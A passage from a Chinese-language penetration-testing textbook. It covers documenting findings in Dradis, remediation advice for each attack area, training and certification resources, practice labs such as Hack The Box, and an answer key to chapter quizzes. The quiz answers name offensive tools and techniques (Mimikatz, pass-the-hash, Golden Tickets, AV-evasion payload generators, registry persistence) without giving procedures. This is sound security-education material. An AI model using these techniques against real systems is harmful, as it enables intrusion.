Kali Linux 包含一个名为 Dradis 的工具,这是一个开源框架,安全专业人员用于有效信息共享。Dradis 有社区版和专业版。Kali Linux 包含社区版。专业版包含一些有趣的功能,如自定义品牌、双因素认证、一键报告以及导出到多种文件类型的能力。然而,社区版包含专业版本具有的核心功能,并允许您以 HTML 或 CSV 格式导出结果。
Dradis 可从应用程序 | 报告工具中访问:
图 1:访问 Dradis
当您第一次运行 Dradis 时,您将被提示创建共享服务器密码和一个新用户帐户。完成后,您将登录到 Dradis 的主要登录页面。
方法论
在 Dradis 中,有一个名为方法论的部分。这是您想要为给定项目执行的任务列表。您可以创建自己的方法论或导入现有的方法论:
图 2:Dradis 的方法论组件
如果您点击“添加新内容”并选择“下载更多”,您将被重定向到一个链接,您可以在那里下载合规包。下载 PTES 技术指南;这将是一个.zip文件,您需要解压缩。文件的内容中将会有一个名为ptes_methodology的文件夹;将这些文件解压缩到/var/lib/dradis/templates/methodologies。文件解压缩后,刷新 Dradis 页面。
现在,您将能够添加各种 PTES 方法论。继续添加它们:
图 3:添加 PTES 方法论
添加完后,注意输出。现在您有了一个可以在 PTES 方法论的不同阶段执行的各种任务的清单。这是确保在执行渗透测试时遵循方法论标准的好方法:
图 4:按照 PTES 方法论的清单
当然,并非所有的渗透测试都会遵循这种方法。随着您执行不同的渗透测试,您将创建针对客户定制的不同方法论。
节点
节点可以类比为文件系统中的文件夹。这是您将存储笔记、附件和证据文件等信息的地方。节点将帮助您构建项目结构。
要创建一个节点,请点击“节点”右侧的加号(+)号。在这里,您将添加一个顶级节点。您可以一次添加一个或全部添加:
图 5:添加多个节点
创建节点结构后,您可以从其他工具上传文件。在这里,您可以从 Nmap 扫描、Nessus、Nikto 等导入文件:
图 6:从其他工具上传文件
在下面的截图中,我上传了一个 Nmap 扫描。Dradis 已经填充了属性和笔记部分以反映扫描结果:
图 7:Nmap 扫描结果导入到 Dradis
当您导入各种工具输出时,Dradis 将利用其规则引擎自动填充数据到节点中。
问题和证据
问题包含有关问题或漏洞的信息。例如,您可以在这里提供描述、CVE、URL 引用等。
证据显示存在问题。例如,您可能会创建一个漏洞利用的证据。
在您创建证据之前,您需要创建一个问题。要创建问题,请点击“问题”右侧的加号(+)号。如果愿意,您可以使用模板,但不是必须的。定义您将展示证据的问题,如下所示:
图 8:创建问题
创建问题后,您可以导航到要记录证据的节点,并点击证据标志。接下来,您将从下拉列表中选择问题,然后编写您的证据:
图 9:创建证据
在节点中,您可以选择上传附件。附件可以是来自目标的截图、报告、文件等。
您可以通过点击项目顶部的“导出结果”链接来探索项目。
在进行渗透测试时,使用 Dradis 可以帮助您跟踪您的发现。方法论可以作为一个很好的提醒,以防您在渗透测试的特定阶段错过了一步。
推荐纠正选项
在渗透测试报告中,您需要提出如何保护所发现的发现的建议。重要的是要了解漏洞如何得到纠正,而不仅仅是知道如何利用它们。
让我们考虑一下本书中进行的一些攻击以及可以推荐的纠正活动。
信息收集
在信息收集阶段,我们看了如何使用公开可访问的来源(OSINT)收集有关我们目标的信息。组织不可避免地会公开发布信息。保护信息免受暴露(例如文档中的元数据)的关键是使用诸如信息保护之类的技术。信息保护保护数据免受未经授权的使用、披露、访问、破坏、中断和修改。信息保护利用了一些技术,如加密、数据分类、策略和流程来保护信息。
保护免受主动信息收集的攻击包括保护不应该打开的端口。还可以使用网络层防御,如交换机上的访问控制列表和防火墙进行过滤。
社会工程
社会工程学可能是攻击者可以利用的最危险的攻击向量之一。成功的社会工程攻击取决于攻击者能够获取的信息量。同样,在渗透测试中,成功的社会工程攻击将取决于您能够获取有关目标组织的信息量。
在保护免受社会工程攻击方面并没有银弹。归根结底,是我们的人性会使我们成为这类攻击的受害者。然而,组织可以采取一些措施,如下所示:
-
教育: 为最终用户提供教育对于任何组织都至关重要。如果用户不知道如何识别社会工程攻击,他们怎么能不成为受害者呢?教育的关键在于让最终用户关心安全。
-
意识: 组织需要意识到公开可获得的信息类型。这种信息是攻击者将首先访问的信息。如果信息披露了太多,以至于可以轻松制定社会工程攻击,那么组织就需要解决这个问题。
-
身份验证: 组织需要考虑多种识别用户的方式。例如,当用户通过自助门户请求重置密码时,应该有某种形式的双因素身份验证。
-
技术: 许多组织正在将他们的电子邮件转移到 Office 365 等云服务。在 Office 365 中,有许多可以启用的安全机制,以防范复杂的网络钓鱼攻击。大多数情况下,组织并不完全了解现有的防御措施,或者他们可能没有正确地调整它们。
社会工程对组织可能非常危险。这完全取决于可以用来攻击组织的信息量。如果社会工程是您渗透测试中的一个攻击向量,请确保披露您可以访问多少信息以成功发动攻击。这将帮助组织了解他们的弱点并加以解决。
漏洞和操作系统加固
软件很难做到没有错误,因此漏洞总是存在的。这在操作系统等大型软件中是显而易见的。操作系统是复杂的,有许多组件共同工作。只需一个组件中的一个缺陷就可以使系统被利用。
通常构建软件的组织遵循软件开发生命周期(SDLC)。这是一个定义了如何开发、维护和替换软件的详细步骤的框架。现在安全已经被纳入软件生命周期,以便构建安全的软件。这大大减少了代码中发现的错误数量,这可能导致漏洞,但这并不能完全消除编码错误的风险。
这就是补丁管理发挥作用的地方。建立一个适当的补丁管理流程,并且遵守这个流程将大大减少组织使用的软件相关的漏洞数量。
操作系统加固是确保不会利用已知易受攻击的不安全协议的另一个好方法。例如,SMBv1 的缺陷是已知的,并且容易被利用。互联网安全中心(CIS)维护着一个很好的基准库,并讨论了如何加固各种系统。CIS 基准可以在这里找到:www.cisecurity.org/cis-benchmarks/。
微软维护适用于其产品套件的安全基线。这些基线在其产品中启用特定的安全功能非常出色。这些基线可以在这里找到:blogs.technet.microsoft.com/secguide/。
密码
基于密码的攻击是仍然在使用的最简单和最古老的攻击形式。今天,组织已经意识到拥有强密码的价值,但问题在于可用性。例如,强制执行 12 位字符的密码很容易,但最终用户会如何反应?很可能他们会使用常见密码,如January@1234,并按月份递增,或者他们会有一个非常安全的密码,最终会把它写下来或存储在某个地方。密码的另一个问题是人们倾向于重复使用它们。他们的域密码可能与在 Facebook 上使用的密码相同。
保护密码需要使用除密码之外的认证方式。多因素认证在当今是必不可少的。利用额外的认证方法,如令牌、短信或电话呼叫,增加了额外的保护层。将多因素认证与密码最佳实践相结合,如强制复杂性、更长的密码长度和强制禁用密码列表,将增加安全性。
网络应用程序
网络应用程序是攻击者的主要目标,因为它们是面向公众的。特别是如果网络应用程序服务器没有从网络层正确分割,它们可以作为进入网络的入口。
开放式网络应用程序安全项目(OWASP)维护着一个名为OWASP 十大的列表。这个十大列表讨论了 10 个最关键的网络应用程序安全风险以及对它们的缓解措施。它详细解释了攻击及其影响,并提供了攻击场景的参考。OWASP 十大可以在这里找到:www.owasp.org/index.php/Category:OWASP_Top_Ten_Project。
寻找网络应用程序攻击预防的另一个好资源是 OWASP 攻击类别,可以在这里找到:www.owasp.org/index.php/Category:Attack。
权限提升和横向移动
横向移动是网络中最常见的攻击之一。螃蟹式地在环境中移动为攻击者提供了一个广阔的领域,可以浏览以检测高特权帐户。
横向移动中最容易使用的帐户之一是本地管理员帐户。通常,该帐户共享相同的名称和密码,这意味着如果您在一台计算机上破坏了它,可以轻松地在另一台计算机上重复使用。纠正这一点将需要在网络中强制执行随机本地管理员帐户密码。在 Windows 环境中,可以使用本地管理员密码解决方案(LAPS)来实现这一点。有关更多信息,请访问:www.microsoft.com/en-us/download/details.aspx?id=46899。
良好的凭证卫生习惯对于防止特权升级至关重要。这意味着不将高特权帐户暴露给较低信任的系统,例如,在工作站上限制使用域管理员帐户。如果工作站受到攻击,域管理员帐户的哈希值可能会被转储,游戏就结束了。在任何环境中,强制执行最小特权原则应该成为一种规范。
总结
在本章中,您已经对渗透测试报告中包含的内容有了很好的理解。您现在有能力创建一个针对高管和技术人员的报告。您已经亲身体验了使用报告工具 Dradis 来记录渗透测试中的发现。您已经深入了解了客户可以部署的各种安全措施,以增强其安全姿态。
在下一章(第十四章*,我接下来该怎么做?*),我们将介绍如何通过查看认证、在线培训资源和练习技能来在渗透测试领域发展您的职业生涯。
问题
-
渗透测试报告的重要性是什么?
-
报告的执行和技术部分有什么区别?
-
有什么工具可以帮助你制作报告?
-
寻找与 Web 应用程序攻击和预防相关信息的好来源是什么?
-
保护免受特权升级和横向移动的影响涉及做什么?
第十四章:我接下来该去哪里?
在书的结尾,我们将看看如何跟上渗透测试领域的最新动态。在任何行业中,建立您的技能和知识都是一个持续的过程。当您投入时间和精力时,您一定会看到您的技能增长的结果。
在本章中,您将了解可以利用哪些资源来扩展您的知识,推动您的职业发展。我们将看看工具包维护的去向。最后,我们将看看可以用来测试您的技能并提供新挑战的各种资源。
在本章中,您将学到以下内容:
-
知识维护
-
工具包维护
-
故意易受攻击的资源
技术要求
本章没有任何技术要求。我们在本章中不进行任何实际操作练习。
知识维护
渗透测试是信息技术领域许多人着迷的话题。体验成为黑客的刺激,知道如何利用机器并控制系统,给个人带来一种权力感。但是,正如我们在本书中所介绍的,渗透测试不仅仅是盲目地攻击系统。渗透测试更加有结构,考虑到业务需求,并且当然为业务提供坚实的结果,以增强他们的安全姿态。
在每个行业中,都有专门从事该领域特定方面的专家。在渗透测试领域也是如此。例如,我们有以下领域可以让渗透测试人员专注:
-
网络渗透测试
-
无线渗透测试
-
Web 应用程序渗透测试
让我们高层次地看一下每个领域。
网络渗透测试
网络渗透测试是最常见的渗透测试方法。对网络进行渗透测试涉及内部和外部网络。其目的是模拟成功的攻击者能够绕过防御措施。它使渗透测试人员能够探索组织的许多方面,为组织的安全姿态提供清晰的图片。一旦渗透测试人员获得对网络的访问权限,许多障碍就被排除了。
网络渗透测试通常包括以下内容:
-
绕过防火墙
-
路由器测试
-
入侵防范系统(IPS)/入侵检测系统(IDS)规避
-
DNS 足迹
-
开放端口扫描和测试
-
SSH 攻击
-
代理服务器
-
网络漏洞
为了在这个特定领域发展您的技能,您需要对防火墙及其工作原理、路由器和各种路由协议有很好的理解,以及它们的运作方式。了解入侵检测/防范设备对于确定如何避免它们至关重要。
对网络有扎实的知识可以真正提升您的渗透测试。
无线渗透测试
无线渗透测试涉及测试企业无线基础设施的漏洞。通常包括以下内容:
-
无线加密协议
-
无线接入点
-
无线网络流量
-
Rogue 接入点
由于无线技术的接近要求,无线测试通常在现场进行。企业无线网络泄露到建筑外部并不罕见,这本身就是一个漏洞。
在这个领域发展你的技能意味着深入了解无线网络的工作原理。我们在本书中涉及了一些概念(如无线帧)。
Web 应用程序渗透测试
Web 应用程序渗透测试关注的是 Web 应用程序中的漏洞或弱点。这个测试的复杂性取决于你正在测试的应用程序。例如,一个简单使用 SQL 的网站可能不像一个使用多个 API、Applets 或 ActiveX 控件的网站那么复杂。在这个测试中,你可以投入大量时间,因为外部面向的 Web 应用程序对业务构成巨大风险。
这个测试通常包括以下内容:
-
SQL 注入
-
跨站脚本
-
Web 应用程序语言(Java、PHP、HTML 等)
-
数据库连接
-
框架和特定应用程序(Sharepoint,IIS 等)
在这个领域提升你的技能意味着要对各种网络应用程序语言有很好的理解。你需要了解诸如 HTTP/HTTPS 等协议的工作原理,以及各种攻击,如 SQL 注入和跨站脚本的工作原理。在本书中,我们已经涵盖了这些主题,但每个主题还有更深入的内容。
在线培训
让我们来看看存在的各种资源,你可以利用这些资源来扩展你在渗透测试方面的知识。我们将涵盖各种在线培训提供商,一些免费的,一些付费的。除此之外,还有很多其他资源可用;我发现后面列出的资源对于在渗透测试方面建立良好的基础非常有益。
Cybrary
Cybrary 免费提供大量与网络安全相关的培训。有一个不断开发新课程的活跃社区,材料的质量很高。Cybrary 利用来自各个领域和公司的专家来开发培训材料。
Cybrary 可以通过以下网址访问:www.cybrary.it/。
Pentester Academy
Pentester Academy 提供专注于特定领域的各种动手课程。例如,他们的一些课程专注于 Python、Metasploit、PowerShell 等。在线实验室可供使用,你可以在学习不同课程的同时练习你的技能。
Pentester Academy 不是免费服务,而是采用订阅模式。没有长期合同,截至目前,价格从第一个月开始是 99 美元,之后每月 39 美元。Pentester Academy 可以通过以下网址访问:www.pentesteracademy.com/。
Pentesterlab
Pentesterlab 是一个简单直接的在线资源。它提供虚拟镜像,并附带可以用来测试漏洞的练习。这使你能够了解漏洞以及如何在渗透测试中应用你的知识。
Pentesterlab 有免费和付费资源。他们采用订阅模式,目前的价格是每月 19 美元。Pentesterlab 可以通过以下网址访问:pentesterlab.com/。
认证
一旦你掌握了知识,你需要一些东西来展示这些知识——这就是认证发挥作用的地方。随着你在渗透测试技能方面的进步,你可以努力获得一些认证。以下提供商提供了各种认证,可以帮助你在渗透测试领域建立你的知识和技能。
eLearnSecurity
eLearnSecurity 提供广泛的专注于渗透测试的认证。他们定义了指导你达到特定目标的培训路径。例如,网络渗透测试师的培训路径从网络渗透测试的基础知识开始,最终带你到网络渗透测试的红队和操作的高级方面。
作为基础的一部分,他们的认证是 eJPT。这个认证是 100%实践的,不使用多项选择题。考试基于一个模拟真实场景的网络,你必须在规定的时间内对网络进行渗透测试。认证的培训全部在线进行,可以访问设计用来提高你在每个主题中技能的实验室。
目前,该认证侧重于以下技能:
-
TCP/IP 和 IP 路由
-
局域网协议、设备和网络漏洞评估的知识
-
HTTP、Web 技术和 Web 应用程序漏洞评估的知识
-
渗透测试流程和方法论
-
使用 Metasploit 进行利用
-
信息收集、扫描和目标分析
培训路径可以通过以下网址访问:www.elearnsecurity.com/training_paths/。
攻击性安全
攻击性安全认证在安全社区中备受尊重。他们的认证考试过程非常严格和极具挑战性。考试基于场景,需要在规定的时间内完成。他们提供基于网络、Web、无线和利用的培训和认证。
在渗透测试社区中经常见到的认证是 Offensive Security Certified Professional(OSCP)。考试是实践性的,需要在 24 小时内完成!在考试中,你需要运用从培训材料中学到的技能来执行各种任务。
可以通过以下网址访问一份攻击性安全认证和培训的列表:www.offensive-security.com/。
全球信息保障认证(GIACs)
GIAC 认证也是安全社区中备受尊重的认证之一。他们提供跨多个领域的认证,如渗透测试、网络防御、事件响应等。
这些认证的培训由 SANS 负责,他们在网络安全领域领导了许多倡议。
可以在以下网址找到 GIAC 提供的渗透测试认证列表:www.giac.org/certifications/pen-testing。
工具包维护
在这本书中,我们涵盖了 Kali Linux 的大部分内置工具。这些工具得到维护,并定期发布更新。
关于未内置的工具,它们在 Github 上进行维护。因此,保持它们更新只需要拉取新版本。
你可能想知道在这本书中没有讨论的其他工具在哪里可以找到。互联网上有许多网站会发布新工具的更新列表。
一些最常见的包括以下内容:
-
SecLists:
www.darknet.org.uk/ -
KitPloit – 渗透测试和黑客工具:
www.kitploit.com -
r00t_1337:
r00t1337.blogspot.com
人们经常在 Github 存储库中发布一系列工具;通过简单的谷歌搜索就可以找到这些工具。
有意使资源易受攻击
随着你在渗透测试领域的知识不断巩固,你需要不断测试你的技能和任何发布的新工具。为此,你需要一个实验室环境。然而,使用自己的实验室并不具有挑战性,因为一段时间后,你将了解你的实验室的内部运作。为了将你的知识付诸实践,你需要专注于不同系统的多个实验室环境。你可以利用互联网上已经提供的实验室,而不是为每个实验室建立一个实验室。
在寻找新挑战并增加您的知识和技能方面,有两个非常方便的资源。这些资源是 Vulnhub 和 Hack The Box。
Vulnhub
Vulnhub 通过利用社区构建的易受攻击的机器,实现了实际的动手学习。Vulnhub 免费提供虚拟机器;您只需下载虚拟镜像并在您的 hypervisor 上运行即可。
Vulnhub 的美妙之处在于有可用于虚拟机器的攻略,因此,如果您卡住了,您总是可以参考它们。
Vulnhub 可以通过以下 URL 访问:www.vulnhub.com/。
Hack The Box
Hack The Box 是一个允许您在线测试渗透测试技能的平台。它有许多易受攻击的盒子和挑战。易受攻击的盒子在难度上有所不同,这使您能够大大提高您的技能。访问这些盒子是通过 VPN 处理的,您需要在访问盒子之前连接到 VPN。
Hack The Box 有免费和 VIP 选项。在免费版本中,机器在一段时间后被退役。VIP 选项,目前每月费用为 10 美元,可以访问以下功能:
-
完全访问所有已退役的盒子
-
较少拥挤的实验室
-
获取已退役盒子的官方攻略
Hack The Box 有一个限制——您需要自己入侵。第一个挑战是获取邀请码,以便您能够注册 Hack The Box 的帐户。
Hack The Box 可以通过以下 URL 访问:www.hackthebox.eu。
摘要
随着网络安全的发展,攻击者也在发展。这意味着作为渗透测试人员,您需要跟上网络安全领域的最新动态。跟上最新动态意味着从知识和技能方面不断发展。
在本章中,我们看了一些渗透测试领域和相关知识要求,阐述了渗透测试涉及的不仅仅是盲目运行工具。我们看了一些可用的资源,可以用来扩展您的知识,并可以努力工作的认证。我们看了如何跟上最新发布的工具。最后,我们看了在哪里获取和访问易受攻击的机器,以测试您的技能。
第十五章:评估
第一章:渗透测试简介
-
渗透测试旨在在攻击者能够利用它们之前以受控的方式识别漏洞。
-
PTES 和 NIST SP800-115。
-
范围界定了许多重要主题,例如测试内容,业务目标,渗透测试的持续时间等。
-
STRIDE 和 VAST。
-
Metasploitable 专注于提高您使用 Metasploit 的技能。它还更加关注操作系统和网络层。
第二章:开始使用 Kali Linux
-
Kali Linux 默认包含超过 100 种工具。
-
Kali Linux 可以使用
.iso镜像文件安装,也可以使用预构建的虚拟机安装。 -
apt update && apt upgrade。 -
使用
systemctl start [service]。 -
Nmap,John the Ripper,Burp Suite。
第三章:执行信息收集
-
被动信息收集涉及使用公开可访问的数据,而主动信息收集涉及与目标系统的交互。
-
Shodan 和 Maltego。
-
Nmap 允许您进行利用 Nmap 脚本引擎的漏洞扫描。
-
OpenVAS 和 Nessus。
-
执行数据包捕获允许您查看数据包在网络中传输时的原始数据。一些数据包可能会暴露数据,例如明文密码和其他有趣的信息。
第四章:精通社会工程学
-
这是对一个人的心理操纵,从而说服他们放弃敏感信息。
-
相信人是人的天性。
-
假托。
-
网络钓鱼和鱼叉式网络钓鱼。
-
没有必要克隆任何网站;Modlishka 是一个反向代理工具,允许您以明文捕获凭据。
第五章:深入了解 Metasploit 框架
-
规避模块和库。
-
辅助和利用。
-
Nmap 和 Nessus。
-
Exploit-DB 和 Rapid7。
-
绑定 shell 需要您连接到它以获取 shell,而反向 shell 会将连接推送回攻击机器。
第六章:理解密码攻击
-
通过从公开可访问的文档中提取元数据。
-
配置文件允许您调整您的单词列表,使其特定于您的目标,从而消除了使用耗时的大型单词列表的需要。
-
John the ripper。
-
在线密码攻击针对活动的基于网络的服务,这会增加检测风险。离线密码攻击是在提取密码并可以在单独的系统上破解时进行的。
-
使用驻留在内存中的工具不会将任何内容写入磁盘,这比使用将数据写入磁盘的工具更隐蔽。
第七章:使用 Burp Suite
-
Burp Suite 代理是核心。这使 Burp Suite 能够作为拦截代理运行,从而使 Burp Suite 内的所有工具都能正常运行。
-
此扫描分析现有请求和响应的漏洞。它不会向 Web 应用程序提交任何请求,因此消除了可以检测到的噪音量。
-
这用于手动操纵 HTTP 请求的重新发出。您可以利用中继器检查如果修改了 HTTP 请求,输出会是什么,例如,通过使用 SQL 注入攻击。
-
集群炸弹提供了最全面的结果,但也是最耗时的,取决于所使用的单词列表。
-
通过使用 BApp Store 或可以加载到 Burp Suite 中的第三方扩展。
第八章:攻击 Web 应用程序
-
单页应用程序(SPA)。
-
HTTP 不安全;数据以明文发送。HTTPS 使用 SSL 通过安全隧道提交数据。
-
引荐者字段可以被修改。
-
跨站脚本和 SQL 注入攻击。
-
Metasploit 框架。
第九章:开始进行无线攻击
-
管理,控制和数据。
-
接入点的 SSID,安全功能和 MAC 地址。
-
WPA 仍然使用 WEP 作为加密算法。WPA2 还使用更强大的 AES 加密。
-
Rogue Access Points,Evil Twin,Frame injection 和 WPA2 密钥破解。
-
Airgeddon,
airodump-ng和aireplay-ng。
第十章:横向移动和提升权限
-
横向移动和权限提升。
-
Mimikatz 和 Metasploit 框架。
-
Mimikatz,Powershell 和 Python。
-
这种攻击涉及使用帐户的 NTLM 哈希,该哈希可用于对帐户具有访问权限的资源进行身份验证。
-
此帐户用于在 Active Directory 域内签署所有 Kerberos 票证。入侵它将允许您创建一个 Golden Ticket。
第十一章:防病毒逃避
-
防病毒软件不再仅仅用于保护免受病毒侵害 - 它们现在可以完全查看端点,包括进程和内存。
-
编码和自定义编译。
-
MSFVenom,Veil 和 TheFatRat。
-
与使用工具生成的负载相比,负载的检测率较低。
-
永远不要将其提交给 VirusTotal,因为 VirusTotal 会将结果提交给防病毒制造商以增强其检测能力。
第十二章:在环境中保持控制
-
当目标系统重新启动时,反向外壳可能会丢失,或者被利用的漏洞可能会被修补。保持访问权限消除了重新利用系统的需要。
-
APT 是高级持续威胁。这种类型的威胁有能力在被发现之前在目标系统上保持访问权限数月。
-
使用特洛伊木马和 C2 服务器的后门。
-
利用现有操作系统工具执行任务的能力,例如在 Windows 操作系统中使用 PowerShell。
-
HKLM 包含在系统启动时运行的注册表键;HKCU 包含在用户登录时运行的注册表键。
第十三章:报告和行动您的发现
-
渗透测试报告允许您向负责推动修复工作以减少其环境安全风险的利益相关者传达有关已发现问题的重要信息。
-
执行部分将包含渗透测试的高级视图,以及发现和风险评级的高级概述。技术部分将深入探讨技术细节,您将在其中讨论使用的工具,采取的路径以及发现的漏洞,以及修复建议。
-
Dradis。
-
开放式 Web 应用程序安全项目(OWASP)。
-
通过限制高特权帐户访问较低信任系统并随机化本地管理员帐户来练习良好的凭据卫生。